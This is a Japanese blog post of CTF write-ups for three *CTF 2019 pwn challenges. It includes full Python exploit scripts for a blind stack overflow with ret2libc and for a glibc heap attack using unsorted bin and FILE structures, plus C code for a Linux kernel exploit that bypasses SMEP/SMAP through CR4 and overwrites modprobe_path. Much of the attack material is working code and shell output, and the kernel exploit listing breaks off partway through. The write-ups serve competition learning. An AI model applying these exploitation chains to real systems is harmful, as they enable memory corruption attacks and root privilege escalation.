つれづれなる備忘録

CTF関連の事やその他諸々

*CTF 2019 Writeup (blindpwn, heap master, hack_me)

チームとして参加した平成最後の CTF,せっかくですので解いた問題の Writeup を記してこの時代を締めようと思います.

今回は開催中には blindpwn と heap master を解きました.
CTF 終了後に解いた hack_me も書いておきます. この問題は kernel exploit 問です.
他の問題はチームメイトが解いているので読んでいません. 暇があったら見てみます.


blindpwn (Pwn 303pt, 47 solves)

Close your eyes!

$ nc 34.92.37.22 10000

checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

file libc:
libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5381a457906d279073822a5ceb2

下調べ

ファイルが何もないので下調べもなにもありません.
問題文にバイナリと libc の情報を載せてくれているので,これを参考にします.
libc については,去年の *CTF の問題の libc を眺めていたら BuildID が同じものがあったので,これを使います.

プログラム概要

何か文字列を受け付けるだけのサービス.
特に,入力を基にした出力とかはない.

$ nc 34.92.37.22 10000
 #   #    ####    #####  ######
  # #    #    #     #    #
### ###  #          #    #####
  # #    #          #    #
 #   #   #    #     #    #
          ####      #    #
Welcome to this blind pwn!
hogefuga
Goodbye!

方針

No Canary, No PIE であるため,StackBOF の問題と予想

$ python -c "import sys; sys.stdout.write('a'*0x28)" | nc 34.92.37.22 10000
 #   #    ####    #####  ######
  # #    #    #     #    #
### ###  #          #    #####
  # #    #          #    #
 #   #   #    #     #    #
          ####      #    #
Welcome to this blind pwn!
Goodbye!
$ python -c "import sys; sys.stdout.write('a'*0x30)" | nc 34.92.37.22 10000
 #   #    ####    #####  ######
  # #    #    #     #    #
### ###  #          #    #####
  # #    #          #    #
 #   #   #    #     #    #
          ####      #    #
Welcome to this blind pwn!
$

案の定スタックがあふれたような挙動
0x28byte 送った時点では Goodbye! が返ってくるのに, 0x30byte では応答が無くなっているため,リターンアドレスを書きつぶしたと思われる.
他にもポインタを書き潰しただの要因は多々考えられるが,blind 問の時点でそんなに複雑にするわけないとの決めつけで進めていく.

1byte ずつ溢れさせて,正常なリターンアドレスを求める.

$ python -c "import sys; sys.stdout.write('a'*0x28+'\x05')" | nc 34.92.37.22 10000
 #   #    ####    #####  ######
  # #    #    #     #    #
### ###  #          #    #####
  # #    #          #    #
 #   #   #    #     #    #
          ####      #    #
Welcome to this blind pwn!
Goodbye!
$ python -c "import sys; sys.stdout.write('a'*0x28+'\x05\x07')" | nc 34.92.37.22 10000
 #   #    ####    #####  ######
  # #    #    #     #    #
### ###  #          #    #####
  # #    #          #    #
 #   #   #    #     #    #
          ####      #    #
Welcome to this blind pwn!
Goodbye!
$ python -c "import sys; sys.stdout.write('a'*0x28+'\x05\x07\x40')" | nc 34.92.37.22 10000
 #   #    ####    #####  ######
  # #    #    #     #    #
### ###  #          #    #####
  # #    #          #    #
 #   #   #    #     #    #
          ####      #    #
Welcome to this blind pwn!
Goodbye!

アドレスは 0x400705 と判明

libc が配られるんだから,なにかしらリークして ret2libc できるんだろうなと,適当に戻り先を 1byte ずつずらしていたら,0xf 引いたところで漏れてきた.
call よりも前に実行を戻しているので,再び StackBOF によって ROP が組める.

$ python -c "import sys; sys.stdout.write('a'*0x28+'\xf6\x06\x40')" | nc 34.92.37.22 10000
 #   #    ####    #####  ######
  # #    #    #     #    #
### ###  #          #    #####
  # #    #          #    #
 #   #   #    #     #    #
          ####      #    #
Welcome to this blind pwn!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�@8k@W� @08j�%8k@W��,ǖ@%ݮ�ܡp@0k@W�%v"^%�"��_Hk@W�hAǖ%��%p@0k@W�Goodbye!

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('remote')
env.set_item('mode',    remote = 'SOCKET')
env.set_item('target',  remote  = {'host':'34.92.37.22', 'port':10000})
env.set_item('libc',    remote  = 'libc.so.6')
env.select('remote')

#==========

addr_goodbye        = 0x400705
addr_leak           = addr_goodbye - 0x0f

libc = ELF(env.libc)
offset_libc_main        = libc.sep_function['__libc_start_main']

#==========

def attack(conn, **kwargs):
    conn.sendafter('pwn!', 'a'*0x28+p64(addr_leak))
    conn.recvuntil('\x20\x07\x40\x00\x00\x00\x00\x00')

    addr_libc_main = u64(conn.recv(0x8)) - 0xf0
    libc.address = addr_libc_main - offset_libc_main
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_str_sh    = next(libc.search('/bin/sh'))

    rop = ROP(libc)
    rop.system(addr_libc_str_sh)
    conn.send('b'*0x28+str(rop))

#==========

if __name__=='__main__':
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.run(attack)
    comn.connection.interactive()
    
#==========

実行結果

$ ./exploit_blindpwn.py
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/starctf/blind/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.92.37.22 on port 10000: Done
[*] addr_libc_base    = 0x7ff98731c000
[*] Loaded cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
\x00\x00\x00\x00\x00\x00\x00\xba\xb2\xff\x7f\x00\x00\xa0\xbc\x90\x87\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002y\x8f\x98G\xab?sp\x05@\x00\x00\x00\x00\x00�x\xba\xb2\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002y/y\xb3\x8c2y\x1f\x19\xa0\xa5̌\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xba\xb2\xff\x7f\x00\x00hѐ\x87�o\x87�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x05@\x00\x00\x00\x00\x00�x\xba\xb2\xff\x7f\x00\x00$     ls
chall
flag
pwn
$ cat flag
*CTF{Qri2H5GjeaO1E9Jg6dmwcUvSLX8RxpI7}
$  

heap master (Pwn 740pt, 8 solves)

you can call it young, you can call it master, but never call it baby!

$ nc 34.92.96.238 60001
Attachments: Click to download attachment 1

下調べ

$ file heap_master
heap_master: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=3b9b2fb172a175612c820c4de66a666d6ed0eed6, not stripped
$ checksec heap_master
[*] '/home/yutaro/CTF/starctf/heap_master/heap_master'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

プログラム概要

$ ./heap_master
=== Heap Master ===
1. Malloc
2. Edit
3. Free
>> 1
size: 10
=== Heap Master ===
1. Malloc
2. Edit
3. Free
>> 2
offset: 0
size: 5 
content: hoge
=== Heap Master ===
1. Malloc
2. Edit
3. Free
>> 3
offset: 0
[1]    122588 segmentation fault  ./heap_master

よく見るタイプのメニュー
malloc でヒープを確保して,書き換えと解放が行えそうな感じだが,どうも様子が違う

EditとFree,それぞれの機能を担う関数を見てみると,mallocした領域とは全く関係のないところを書き換え,もしくは free していることが分かる.
(そもそも malloc した領域をどこにも記録していない)

Edit の関数
f:id:shift_crops:20190430025940p:plain

Free の関数
f:id:shift_crops:20190430025954p:plain

要は,適当にチャンクをでっちあげて free することができる.

方針

まずは,libc などのアドレスをリークしないことには始まらないが,残念ながら出力系のメニューは存在しない.
そこで,stdout の _IO_read_end_IO_write_base を書き換えることで何かしらのデータをリークさせ,アドレスを特定することを目指す.
幸いにして偽チャンクは好きなだけ作ることができるし,freeチャンクの改変も自由であるため,unsorted bin attack を利用する.

unsorted bin attack を利用するにしても,libc のアドレスが不明であるため stdout のアドレスも当然不明である.
既にメモリ上にある libc のアドレスをパーシャルに書き換え,チャンクの bk がターゲットのアドレスになるようにしたい.
(これにはブルートフォースが必要になるが,この方法しか思いつかなかったので仕方がない)
このパーシャルの書き換えが可能なのは bk が main_arena を指すチャンクに限られるため, unsorted bin attack をすると main_arena に不整合が生じてしまう.
この領域は手動では書き換えることができないが,fastbins の仕組みを利用することで main_arena をあたかも正常のように書き戻し,その後のヒープ操作はもとより unsorted bin attack も何度でも行えるようにする.

具体的には,global_max_fast を大きくし,main_arena の unsorted bin を管理してる bins[0] の bk の位置に該当するサイズのチャンクを解放する.
元々 bins[0] の fd と bk は偽のチャンクを指していたはずだが,unsorted bin attack によって bk のみが main_arena の bins[0] を指すように書き換えられ,fd はそのままとなる.
bk を書き換えることで,unsorted bin attack 前の状態に戻すことができる. この位置に適当なチャンクのサイズは 0xf0 byte である.

global_max_fast を大きくすること自体に unsorted bin attack が必要だが,何度も unsorted bin attack ができるようになるため問題ではない.
stdout が書き換えられるようになったら,先述の通り libc 内のデータが漏れるため,そこから libc,偽ヒープ,本物ヒープ(不要)のアドレスが特定できる.

アドレスは特定できても,書き換えができるメモリは偽ヒープの領域だけなので,できることは相も変わらず unsorted bin attack のみである.
stdout の chain を書き換えて,偽のファイル構造体をつなげ,exit 時に _IO_flush_all_lockp から任意の命令列が call されるようにする.
このとき,global_max_fast を大きくしているため,main_arena の bins[0] を起点としたファイル構造体の chain の位置に適当なチャンクをつなぐのが楽であった.

rip が取れたら終わりかと思ったら,何故か system() 関数が使えない.
というか,配られた libc なんか壊れてません?
たったこれだけのコードも動かないんですけど

int main(){
        system("ls -al");
}
$ LD_PRELOAD=./libc.so.6 ./ld-linux-x86-64.so.2 ./a.out  
sh: P�: ��G: Error 18446744073543466169

ローカルでは解けたのにリモートで動かない(よくある)
直接 execve を syscall で行うようにしても動かないので悩んでいたら,本番環境の docker コンテナでは chroot されてたので /bin/sh が叩けないのは当然だった.
それを差し引いてもローカルで system 関数が動かないのは解せないが...

./flag を open,read,write するようにROPを組みたい.
偽の _IO_file_jumps から直に目的の関数を呼び出すのでは自由な引数が設定できないので,_IO_str_jumps_IO_str_overflow を経由することで rdi を指定して gets を呼び出し,StackBOF を引き起こして ROP に持ち込む.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './heap_master'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'rlocal', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', rlocal = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        rlocal  = {'argv':['./ld-linux-x86-64.so.2', bin_file], 'env':{'LD_PRELOAD':'./libc.so.6'}}, \
                        remote  = {'host':'34.92.96.238', 'port':60001})
                        # remote  = {'host':'192.168.44.136', 'port':60001})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        rlocal  = 'libc.so.6', \
                        remote  = 'libc.so.6')
env.select('remote')

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
if env.check('debug'):
    libc.address = 0x7ffff7a0d000

offset_libc_free_hook  = libc.symbols['__free_hook'] 
offset_libc_max_fast   = offset_libc_free_hook + (0x50 if env.libc is None else 0x48)
offset_libc_stdout     = libc.symbols['_IO_2_1_stdout_']

#==========

def attack(conn, **kwargs):
    hm = HeapMaster(conn)

    hm.edit(0x8, p64(0x91))
    hm.edit(0x98, p64(0x21))
    hm.edit(0xb8, p64(0x21))

    hm.free(0x10)
    hm.edit(0x18, p16((offset_libc_max_fast-0x10) & ((1<<16)-1)))
    hm.malloc(0x88)

    hm.edit(0x8, p64(0xf1))
    hm.edit(0xf8, p64(0x11))
    hm.free(0x10)
    hm.edit(0x8, p64(0x91))
    hm.edit(0x18, p16((offset_libc_stdout+0x10-0x10) & ((1<<16)-1)))
    hm.malloc(0x88)

    hm.wait = False

    hm.edit(0x8, p64(0xf1))
    hm.free(0x10)
    hm.edit(0x8, p64(0x91))
    hm.edit(0x18, p16((offset_libc_stdout+0x20-0x10) & ((1<<16)-1)))
    hm.malloc(0x88)

    addr_heap_base  = u64(conn.recv(8)) - 0x20
    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))

    conn.recv(8)
    addr_buf_base   = u64(conn.recv(8))
    info('addr_buf_base     = 0x{:08x}'.format(addr_buf_base))

    addr_libc_stdout    = u64(conn.recv(8)) - 0x10
    if not env.check('debug'):
        libc.address = addr_libc_stdout - offset_libc_stdout
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_gets          = libc.sep_function['gets']
    addr_libc_stdout        = libc.symbols['_IO_2_1_stdout_']
    addr_libc_dl_open_hook  = libc.symbols['_dl_open_hook']
    addr_libc_io_file_jumps = libc.symbols['_IO_file_jumps']
    addr_libc_io_str_jumps  = addr_libc_io_file_jumps + 0xc0

    conn.recv(0x838)
    addr_stack      = u64(conn.recv(8)) & ~0xf
    info('addr_stack        = 0x{:08x}'.format(addr_stack))

    hm.wait = True

    hm.edit(0x8, p64(0xf1))
    hm.free(0x10)
    hm.edit(0x8, p64(0x91))
    hm.edit(0x18, p64(addr_libc_dl_open_hook-0x10))
    hm.malloc(0x88)

    hm.edit(0x8, p64(0xf1))
    hm.free(0x10)
    hm.edit(0x8, p64(0x91))
    hm.edit(0x18, p64(addr_libc_stdout+0x68-0x10))
    hm.malloc(0x88)

    hm.edit(0x8, p64(0x191))
    hm.edit(0x198, p64(0x11))
    hm.free(0x10)

    fake_file  = '\x00'*0x28
    fake_file += p64((addr_stack-0x2000 - 0x64)/2 + 1)
    fake_file  = fake_file.ljust(0x40, '\x00')
    fake_file += p64((addr_stack-0x2000 - 0x64)/2)
    fake_file  = fake_file.ljust(0xd8, '\x00')
    fake_file += p64(addr_libc_io_str_jumps)
    fake_file += p64(addr_libc_gets)
    hm.edit(0, fake_file)

    yn = raw_input('shell? (Y/n) >> ') if not env.check('remote') else 'n'
    rop = ROP(libc)
    if 'n' in yn.lower():
        hm.edit(0x100, './flag\x00')
        rop.open(addr_buf_base + 0x100, 0)
        rop.read(3, addr_buf_base + 0x200, 0x100)
        rop.write(constants.STDOUT_FILENO, addr_buf_base + 0x200, 0x100)
    else:
        hm.edit(0x100, '/bin/sh\x00')
        rop.execve(addr_buf_base + 0x100, 0, 0)

    conn.sendlineafter('>> ', '0')
    conn.sendline(p64(rop.ret.address)*0x300+str(rop))

class HeapMaster:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter
        self.wait           = True

    def malloc(self, size):
        if self.wait:
            self.sendlineafter('>> ', '1')
            self.sendlineafter('size: ', str(size))
        else:
            self.sendline('1')
            self.sendline(str(size))

    def edit(self, offset, content):
        if self.wait:
            self.sendlineafter('>> ', '2')
            self.sendlineafter('offset: ', str(offset))
            self.sendlineafter('size: ', str(len(content)))
            self.sendafter('content: ', content)
        else:
            self.sendline('2')
            self.sendline(str(offset))
            self.sendline(str(len(content)))
            self.send(content)

    def free(self, offset):
        if self.wait:
            self.sendlineafter('>> ', '3')
            self.sendlineafter('offset: ', str(offset))
        else:
            self.sendline('3')
            self.sendline(str(offset))
 
#==========

if __name__=='__main__':
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.bruteforce(attack)
    comn.connection.interactive()
    
#==========

実行結果

$ ./exploit_heap_master.py
Select Environment
['debug', 'rlocal', 'local', 'remote'] ...re
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/starctf/heap_master/heap_master'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/yutaro/CTF/starctf/heap_master/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.92.96.238 on port 60001: Done
[*] Closed connection to 34.92.96.238 port 60001
[+] Opening connection to 34.92.96.238 on port 60001: Done
[*] Closed connection to 34.92.96.238 port 60001
[+] Opening connection to 34.92.96.238 on port 60001: Done
[*] Closed connection to 34.92.96.238 port 60001
[+] Opening connection to 34.92.96.238 on port 60001: Done
[*] Closed connection to 34.92.96.238 port 60001
[+] Opening connection to 34.92.96.238 on port 60001: Done
[*] addr_heap_base    = 0x55d669527000
[*] addr_buf_base     = 0x88a9a000
[*] addr_libc_base    = 0x7fb5f58f0000
[*] addr_stack        = 0x7fff620d2f20
[*] Loaded cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
Em?
*CTF{You_are_4_r3al_h3ap_Master!}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$  

hack_me (Pwn 625pt, 13 solves)

Can you hack me?

ssh pwn@35.221.78.115 -p 10022
password: pwn
Attachments: Click to download attachment 1

下調べ

起動スクリプト

#! /bin/sh
cd `dirname $0`
stty intr ^]
qemu-system-x86_64 \
    -m 256M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=4,threads=2 \
    -cpu qemu64,smep,smap 2>/dev/null

kaslr, smep, smap が有効

モジュール概要

ioctl を発行した際に呼ばれる hackme_ioctl 関数の疑似コード

signed __int64 __fastcall hackme_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
    unsigned int v3; // ebx
    __int64 v4; // rsi
    signed __int64 v5; // rax
    __int64 v6; // rsi
    __int64 *v7; // rax
    signed __int64 v9; // rax
    __int64 v10; // rdi
    __int64 *v11; // rax
    __int64 v12; // r12
    void *v13; // r13
    __int64 *v14; // rbx
    signed __int64 v15; // rbx
    __int64 v16; // rdi
    __int64 *v17; // rbx
    __int64 v18; // rax
    struct hackme req; // [rsp+0h] [rbp-38h]

    v3 = a2;
    v4 = a3;
    copy_from_user(&req, a3, 32LL);

    if ( v3 == 0x30000 )
    {
        v12 = req.size;
        v13 = req.user;
        v14 = &pool[2 * req.index];
        if ( *v14 )
            return -1LL;
        v18 = _kmalloc(req.size, 0x6000C0LL);
        if ( !v18 )
            return -1LL;
        *v14 = v18;
        copy_from_user(v18, v13, v12);
        v14[1] = v12;
        return 0LL;
    }
    else if ( v3 == 0x30001 )
    {
        v15 = 2LL * req.index;
        v16 = pool[v15];
        v17 = &pool[v15];
        if ( v16 )
        {
            kfree(v16, v4);
            *v17 = 0LL;
            return 0LL;
        }
        return -1LL;
    }
    else if ( v3 == 0x30002 )
    {
        v9 = 2LL * req.index;
        v10 = pool[v9];
        v11 = &pool[v9];
        if ( v10 && (char *)req.kernel + req.size <= (void *)v11[1] )
        {
            copy_from_user((char *)req.kernel + v10, req.user, req.size);
            return 0LL;
        }
    }
    else if ( v3 == 0x30003 )
    {
        v5 = 2LL * req.index;
        v6 = pool[v5];
        v7 = &pool[v5];
        if ( v6 )
        {
            if ( (char *)req.kernel + req.size <= (void *)v7[1] )
            {
                copy_to_user(req.user, (char *)req.kernel + v6, req.size);
                return 0LL;
            }
        }
    }
    return -1LL;
}

全部で4つの選択肢があり,0x30000 で kamlloc,0x30001 で kfree を行う.
0x30002 では,copy_from_user で確保した領域に対してユーザ空間から書き込み,0x30003 では逆に copy_to_user で書き出しを行う.
以下,それぞれ hm_add,hm_delete,hm_edit,hm_read と仮に名付ける.

方針

hm_edit と hm_read のいずれにも OOB の脆弱性がある.
ioctl 時に指定する offset を負に,size を 0<= offset+size < pool.size になるように調整すれば,hm_add で確保した領域以前の領域に対して読み書きが可能になる.

hm_add で 0x400 byte の領域を確保するする直前に /dev/ptmx を open することで,tty_struct を配置する.
この領域から hm_read することで kernel base と heap のアドレスを求め,hm_edit で ops を改竄する.
定石通り ioctl 時に呼ばれる関数ポインタを利用しようと思ったのだが,なぜだか呼ばれないので close 時に連続で呼ばれるポインタ群を利用する.

SMEP および SMAP が有効なので,ret2user や ユーザ空間での ROP ができない.
しかし,ops の改竄によって rip は取れているので,まずはこの制限を回避することを考える.
SMAP は eflags の 18 bit 目である AC を立てることで一時的に無効化できる.
ops->flush_buffer に popf ガジェットを設定することで,偶然 AC が立ってくれたので,以後ユーザ領域で ROP が可能になった.
次に呼ばれる ops->hangup に stack pivot のガジェットを設定する.

SMAP を回避した後は,SMEP を回避したい.
これは CR4 の 20 bit 目をリセットすればよい.
eflags による SMAP の一時回避は何かの拍子で戻る可能性があるので,ついでに CR4 の 21 bit 目もリセットすることで SMAP を完全に回避する.
これは以下に示すようにROPで可能である.

*(fake_stack++) = ADDR(ofs_pop_rax);
*(fake_stack++) = 0x6b0;                       // new cr4
*(fake_stack++) = ADDR(ofs_mov_cr4_eax_pop1);
*(fake_stack++) = 0xdeadbeef;

あとは ret2user を行い,cc(pkc(0)) で root を取って /bin/sh を execve でおしまい!と思ったのだが,なぜか execve が失敗する...
仕方がないので modprobe_path を書き換える方法に方針転換
こちらはメモリを書き換えるだけなので楽
書き換えが終わったら,お行儀よく iretq してユーザに戻ってから exit して終わり.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
import os

bin_file = './startvm.sh'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('local', 'remote')
env.set_item('mode',    local = 'PROC', remote = 'SSH')
env.set_item('target',  local   = {'argv':[bin_file]}, \
                        remote  = {'user':'pwn', 'password':'pwn', 'host':'35.221.78.115', 'port':10022, 'raw':True})
env.select()

#==========

def attack(conn, **kwargs):
    exploit = generate_exploit('/home/pwn/chmod.sh')

    for s in [exploit[i: i+0x80] for i in range(0, len(exploit), 0x80)]:
        conn.sendlineafter('$', 'echo {} >> exploit.b64'.format(s)) 

    conn.sendlineafter('$', 'base64 -d exploit.b64 > exploit'.format(exploit)) 
    conn.sendlineafter('$', 'chmod +x exploit') 

    conn.sendlineafter('$', 'echo -ne "#!/bin/sh\n/bin/chmod 755 /flag\n" > chmod.sh') 
    conn.sendlineafter('$', 'chmod +x chmod.sh') 

    conn.sendlineafter('$', 'echo -ne "\\xff\\xff\\xff\\xff" > a') 
    conn.sendlineafter('$', 'chmod +x a') 

    conn.sendlineafter('$', './exploit') 
    conn.sendlineafter('$', './a') 

    conn.sendlineafter('$', 'cat /flag') 
    # *CTF{userf4ult_fd_m4kes_d0uble_f3tch_perfect}

def generate_exploit(path):
    code = '''
// gcc exploit_minimal.c -masm=intel -fno-PIE -nostdlib -no-pie -o exploit
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>

size_t read(int fd, void *buf, size_t count);
size_t write(int fd, void *buf, size_t count);
int open(const char* pathname, int flags, ...);
int close(int fd);
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int mprotect(void *addr, size_t len, int prot);
int munmap(void *addr, size_t length);
int ioctl(int fd, unsigned long request, ...);
int execve(const char *filename, char *const argv[], char *const envp[]);
void exit(int status);

void *memcpy(void *dest, const void *src, size_t n);

void return_user(void* func);

static void save_state(void);
static void restore_state(void);

struct state {{
  unsigned long rip;
  unsigned long cs;
  unsigned long rflags;
  unsigned long rsp;
  unsigned long ss;
}} stat;

/* exploit */
#define BASE          0xffffffff81000000
#define OFFSET(addr)  ((addr) - (BASE))
#define ADDR(offset)  (kernel_base + (offset))

unsigned long kernel_base             = 0;
unsigned long ofs_pty_unix98_ops      = OFFSET(0xffffffff81625c60);
unsigned long ofs_modprobe_path       = OFFSET(0xffffffff8183f960);

unsigned long ofs_stack_pivot         = OFFSET(0xffffffff81083b55);   // mov esp, 0xF6000000 ; ret
unsigned long ofs_pop_rdi             = OFFSET(0xffffffff81033de0);   // pop rdi ; ret
unsigned long ofs_pop_rax             = OFFSET(0xffffffff8101b5a1);   // pop rax ; ret
unsigned long ofs_popfq               = OFFSET(0xffffffff8101b5b1);   // popfq ; ret
unsigned long ofs_popfq_pop           = OFFSET(0xffffffff8100252f);   // popfq  ; pop rbp ; ret
unsigned long ofs_mov_rdi_rax_pop     = OFFSET(0xffffffff810161ae);   // mov rdi, rax ; rep movsq  ; pop rbp ; ret
unsigned long ofs_mov_cr4_eax_pop1    = OFFSET(0xffffffff8100252b);   // mov cr4, eax ; push rcx ; popfq  ; pop rbp ; ret

char *modprobe_path;

struct hackme {{
  unsigned int index;
  void *addr;
  unsigned long size;
  unsigned long offset;
}};

static int hm_add(int fd, unsigned long id, void *buf, unsigned long size);
static int hm_delete(int fd, unsigned long id);
static int hm_edit(int fd, unsigned long id, void *buf, unsigned long size, unsigned long offset);
static int hm_read(int fd, unsigned long id, void *buf, unsigned long size, unsigned long offset);

void _start(void){{
  int fd, pfd;
  unsigned long tty_struct[0x400/sizeof(unsigned long)] = {{}};
  unsigned long fake_operation[0x20] = {{}};
  unsigned long *fake_stack;
  unsigned long kernel_stack[0x10] = {{}};

  save_state();

  if((fd = open("/dev/hackme", O_RDONLY)) < 0){{
      exit(-1);
  }}

  pfd = open("/dev/ptmx", O_NOCTTY|O_RDWR);
  hm_add(fd, 0, tty_struct, 0x400);
  hm_read(fd, 0, tty_struct, 0x400, -0x400);

  unsigned long pty_unix98_ops    = tty_struct[3];
  kernel_base         = pty_unix98_ops - ofs_pty_unix98_ops;
  modprobe_path       = ADDR(ofs_modprobe_path);

  unsigned long kernel_heap   = tty_struct[8]-0x38 + 0x400;

  fake_operation[0x15] = ADDR(ofs_popfq_pop);
  fake_operation[0x13] = ADDR(ofs_stack_pivot);
  hm_edit(fd, 0, fake_operation, sizeof(fake_operation), 0);

  tty_struct[0x3] = kernel_heap;
  hm_edit(fd, 0, tty_struct, 0x400, -0x400);

  if((fake_stack = mmap((void*)(0xf6000000-0x1000), 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) != (void*)(0xf6000000-0x1000)){{
      exit(-3);
  }}
  fake_stack += (0x1000/sizeof(unsigned long));
  *(fake_stack++) = ADDR(ofs_pop_rax);
  *(fake_stack++) = 0x6b0;                        // new cr4
  *(fake_stack++) = ADDR(ofs_mov_cr4_eax_pop1);
  *(fake_stack++) = 0xdeadbeef;
  *(fake_stack++) = ADDR(ofs_popfq);
  *(fake_stack++) = 0x40202;                      // new rflags
  *(fake_stack++) = ADDR(ofs_pop_rdi);
  *(fake_stack++) = exit;
  *(fake_stack++) = return_user;

  close(pfd);
}}

static int hm_add(int fd, unsigned long id, void *buf, unsigned long size){{
  struct hackme req = {{
      .index = id,
      .addr = buf,
      .size = size,
      .offset = 0,
  }};
  return ioctl(fd, 0x30000, &req);
}}

static int hm_delete(int fd, unsigned long id){{
  struct hackme req = {{
      .index = id,
      .addr = NULL,
      .size = 0,
      .offset = 0,
  }};
  return ioctl(fd, 0x30001, &req);
}}

static int hm_edit(int fd, unsigned long id, void *buf, unsigned long size, unsigned long offset){{
  struct hackme req = {{
      .index = id,
      .addr = buf,
      .size = size,
      .offset = offset,
  }};
  return ioctl(fd, 0x30002, &req);
}}

static int hm_read(int fd, unsigned long id, void *buf, unsigned long size, unsigned long offset){{
  struct hackme req = {{
      .index = id,
      .addr = buf,
      .size = size,
      .offset = offset,
  }};
  return ioctl(fd, 0x30003, &req);
}}

/* funcs */
static void save_state(void) {{
  register long *rsp asm("rsp");

  asm(
  "mov rax, ss\\n"
  "push rax\\n"
  "lea rax, [rsp+0x18]\\n"
  "push rax\\n"
  "pushfq\\n"
  "mov rax, cs\\n"
  "push rax\\n"
  "mov rax, [rbp+8]\\n"
  "push rax\\n"
  );
  memcpy(&stat, rsp, sizeof(stat));
    asm("add rsp, 0x28");
}}

static void restore_state(void){{
  register long *rsp asm("rsp");

    asm("sub rsp, 0x28");
  memcpy(rsp, &stat, sizeof(stat));
    asm(
  "swapgs\\n"
  "iretq"
  );
  __builtin_unreachable();
}}

void return_user(void* func){{
  char new_path[] = "{}";
  memcpy(modprobe_path, new_path, sizeof(new_path));

  stat.rip = func;
  restore_state();
}}

void *memcpy(void *dest, const void *src, size_t n){{
  for(int i=0; i<n; i++)
      *(char*)(dest+i) = *(char*)(src+i);
  return dest;
}}

asm(
"read:\\n"
